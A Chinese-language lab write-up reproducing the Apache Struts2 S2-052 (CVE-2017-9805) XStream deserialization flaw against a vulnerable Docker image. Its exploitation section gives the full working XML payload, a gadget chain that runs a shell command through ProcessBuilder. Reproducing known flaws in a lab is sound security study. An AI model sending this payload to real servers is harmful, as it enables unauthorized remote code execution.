struts2-052 漏洞復現

0x00 漏洞介紹

CVE-2017-9805

2017年9月5日，Apache Struts官方發布最新的安全公告稱，Apache Struts 2.5.x的REST插件存在遠程代碼執行高危漏洞，漏洞編號為CVE-2017-9805（S2-052），受影響的版本為Struts 2.5 - Struts 2.5.12。攻擊者可以通過構造惡意XML請求在目標服務器上遠程執行任意代碼。漏洞的成因是由於使用XStreamHandler反序列化XStream實例的時候沒有執行嚴格的過濾導致遠程代碼執行。

0x01 漏洞環境搭建

使用docker搭建環境

1. 獲取鏡像

docker pull medicean/vulapps:s_struts2_s2-052

2. 啟動環境

docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-052

訪問地址端口號，這里是80端口

0x02 利用

抓包，需要提交修改兩個地方

1. 請求頭對應的地方改成這個：

Content-Type: application/xml

2. 提交數據進行修改

<map> 
<entry> 
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>/usr/bin/touch</string><string>/tmp/test</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
</entry> 
</map>

這里的命令執行成功之后會在tmp文件夾下面生成一個test文件

截圖如下

返回結果截圖：

命令執行驗證截圖：